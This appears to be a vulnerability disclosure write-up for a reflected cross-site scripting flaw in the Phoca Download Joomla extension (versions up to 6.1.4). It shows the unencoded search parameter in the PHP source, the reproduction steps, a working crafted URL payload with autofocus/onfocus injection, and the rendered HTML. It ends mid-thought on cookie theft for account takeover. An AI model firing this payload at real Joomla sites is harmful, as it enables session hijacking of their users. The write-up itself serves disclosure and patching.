toanln-cov/cve-2026-76569Reflected XSS via search GET Parameter in Phoca Download
Phoca Download ≤ 6.1.4 — Authenticated Attacker Executes Arbitrary JavaScript via Crafted Search URL in User Control Panel
Phoca Download (com_phocadownload) for Joomla contains a reflected Cross-Site Scripting (XSS) vulnerability in the User Control Panel file search functionality. The search GET parameter is processed with Joomla's 'string' filter — which calls strip_tags() only and preserves the " character — then echoed without htmlspecialchars() into an HTML <input value=""> attribute. An attacker can inject arbitrary HTML attributes and event handlers that execute in the victim's browser upon page load, without requiring any user interaction beyond clicking a crafted link.
| COMPONENT | VULNERABLE | TESTED ON | FIXED |
|---|---|---|---|
| com_phocadownload | ≤ 6.1.4 | Joomla 5 + PhocaDownload 6.1.4 + MariaDB 10.6 | 6.1.5 |
Type: Reflected Cross-Site Scripting (CWE-79)
Authentication required: Registered Joomla user (logged in) + User Control Panel enabled (enable_user_cp = 1)
CSRF token required: Not required — GET request, no CSRF token checked on this path
Sink file: site/views/user/tmpl/default_files_bootstrap.php
The search parameter is read using Joomla's 'string' filter, which only calls strip_tags(). This preserves the " character, allowing an attacker to break out of the value="" attribute context and inject arbitrary HTML attributes.
SITE/VIEWS/USER/VIEW.HTML.PHP:252 — SOURCE
$search_files = $app->getUserStateFromRequest(
$this->_context_files.'.search', 'search', '', 'string'
);
$search_files = StringHelper::strtolower($search_files);
$lists_files['search'] = $search_files; // stored without encoding
SITE/VIEWS/USER/TMPL/DEFAULT_FILES_BOOTSTRAP.PHP:56 — SINK (VULNERABLE)
<input type="text" name="search" id="pdsearch"
value="<?php echo $this->t['listsfiles']['search'];?>"
class="form-control" />
The sibling view phocadownloadlinkfile (same extension) correctly applies PhocaDownloadUtils::filterValue($search, 'text') — equivalent to htmlspecialchars() — for the same search field. The user view does not apply the same protection, indicating inconsistent output encoding within the extension.
Navigate to the Joomla login page and authenticate as a Registered user. After successful login, Joomla redirects to the user profile page, confirming an active session.
Navigate to the PhocaDownload User Control Panel:
http://TARGET/index.php?option=com_phocadownload&view=user
The page renders with an empty search field (value=""). This is the normal state before injection.
Navigate to the following crafted URL (or type the raw payload directly into the search box):
http://TARGET/index.php?option=com_phocadownload&view=user&search=%22%20autofocus%20onfocus%3Dalert%28document.domain%29%20x%3D
As the page loads, the injected autofocus attribute focuses the input element, immediately triggering the onfocus event handler. No further user interaction is required.
Rendered HTML (vulnerable):
<input type="text" name="search" id="pdsearch"
value="" autofocus onfocus=alert(document.domain) x="
class="form-control" />
document.cookie, enabling full account takeover without credentials.